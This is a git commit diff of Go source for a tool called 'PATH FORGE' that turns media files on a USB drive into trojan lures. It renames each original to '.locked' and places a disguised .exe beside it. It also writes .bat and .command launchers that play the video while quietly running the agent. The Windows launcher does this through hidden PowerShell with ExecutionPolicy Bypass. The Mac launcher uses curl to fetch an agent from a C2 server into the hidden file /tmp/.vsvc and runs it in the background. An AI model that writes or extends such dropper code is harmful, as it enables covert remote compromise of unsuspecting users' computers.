feat(forge): PATH FORGE lock original - file unplayable without launcher. Renames Terminator.mkv -> Terminator.mkv.locked (no app can open .locked). Launcher: unlock -> play -> re-lock after 4s -> run agent hidden. Toggle in UI defaults ON. .bat uses ren + PowerShell delayed re-lock. .command uses mv + background sleep re-lock. USB repacked.

This commit is contained in:
AetherForge
2026-06-03 01:19:50 -07:00
parent 7f0b20fb26
commit 2dd576440e
3 changed files with 99 additions and 26 deletions

View File

@@ -31,6 +31,11 @@ type PathForgeRequest struct {
// ServerURL is embedded in the Mac bootstrap curl command.
ServerURL string `json:"server_url"`
// LockOriginal renames the source file to filename.ext.locked so it cannot
// be opened without running the companion launcher. The launcher unlocks it,
// starts playback, then re-locks it after a short delay.
LockOriginal bool `json:"lock_original"`
// Extensions lists file extensions to target (dot-prefixed, lowercase).
// Leave empty to use the built-in media list.
Extensions []string `json:"extensions"`
@@ -113,6 +118,24 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
stem := stemFor(req.StemMode, req.OutputStem, d.Name())
dir := filepath.Dir(path)
// The name the launcher will reference — either the original or its
// locked rename (appended with ".locked" so no app can open it directly).
fileForLauncher := d.Name()
lockedName := d.Name() + ".locked"
if req.LockOriginal {
lockedPath := filepath.Join(dir, lockedName)
// Only rename if the locked file doesn't already exist.
if _, err := os.Stat(lockedPath); os.IsNotExist(err) {
if renErr := os.Rename(path, lockedPath); renErr != nil {
res.Errors++
res.ErrorList = append(res.ErrorList, "lock failed: "+rel+": "+renErr.Error())
return nil
}
}
fileForLauncher = lockedName
}
var placed []string
if req.TargetWindows && agentExe != "" {
@@ -121,16 +144,16 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if copyFileBytes(agentExe, exeDst) == nil {
placed = append(placed, stem+".exe")
}
// .bat launcher that opens the original file AND runs the agent
// .bat launcher: unlock → play → re-lock → run agent (all seamless)
batDst := filepath.Join(dir, stem+".bat")
if err := os.WriteFile(batDst, []byte(batContent(d.Name(), stem)), 0644); err == nil {
if err := os.WriteFile(batDst, []byte(batContent(fileForLauncher, d.Name(), stem, req.LockOriginal)), 0644); err == nil {
placed = append(placed, stem+".bat")
}
}
if req.TargetMac {
cmdDst := filepath.Join(dir, stem+".command")
if err := os.WriteFile(cmdDst, []byte(macContent(d.Name(), req.ServerURL)), 0755); err == nil {
if err := os.WriteFile(cmdDst, []byte(macContent(fileForLauncher, d.Name(), req.ServerURL, req.LockOriginal)), 0755); err == nil {
placed = append(placed, stem+".command")
}
}
@@ -173,29 +196,62 @@ func sanitizeStem(s string) string {
return strings.TrimSpace(replacer.Replace(s))
}
// batContent creates a .bat file that opens the original media file with the
// default Windows player, then silently starts the agent exe.
func batContent(originalFile, exeStem string) string {
return "@echo off\r\n" +
fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", originalFile) +
fmt.Sprintf("powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", exeStem)
// batContent creates a .bat launcher.
//
// When lockOriginal is true the file on disk is named lockedFile
// (e.g. "Terminator.mkv.locked"). The bat:
// 1. Renames lockedFile → realFile (unlock)
// 2. Opens realFile with the default player
// 3. After 4 s, renames realFile → lockedFile again (re-lock) — hidden
// 4. Runs the agent .exe — hidden
//
// When lockOriginal is false it simply opens realFile and runs the agent.
func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string {
b := "@echo off\r\n"
if lockOriginal {
// Step 1: unlock
b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lockedFile, realFile)
}
// Step 2: open the file
b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", realFile)
// Step 3+4: hidden PowerShell — wait, re-lock, run agent
if lockOriginal {
b += fmt.Sprintf(
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command \"& {"+
" Start-Sleep 4;"+
" if (Test-Path '%%~dp0%s') { Rename-Item '%%~dp0%s' '%s' };"+
" Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
realFile, realFile, lockedFile, exeStem)
} else {
b += fmt.Sprintf(
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
exeStem)
}
return b
}
// macContent creates a .command shell script that opens the original file on
// macOS and downloads + runs the agent from the C2 server.
func macContent(originalFile, serverURL string) string {
dl := ""
// macContent creates a .command shell script for macOS/Linux.
// When lockOriginal is true it renames the locked file, opens it, re-locks after 4 s.
func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string {
s := "#!/bin/bash\n"
dir := "$(dirname \"$0\")"
if lockOriginal {
s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lockedFile, dir, realFile)
}
s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, realFile)
if lockOriginal {
s += fmt.Sprintf(
"( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n",
dir, realFile, dir, lockedFile)
}
if serverURL != "" {
dl = fmt.Sprintf(
s += fmt.Sprintf(
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
serverURL,
)
serverURL)
}
return "#!/bin/bash\n" +
fmt.Sprintf("open \"$(dirname \"$0\")/%s\" 2>/dev/null\n", originalFile) +
dl
return s
}
// findAgentBinary looks next to the server executable for the agent binary.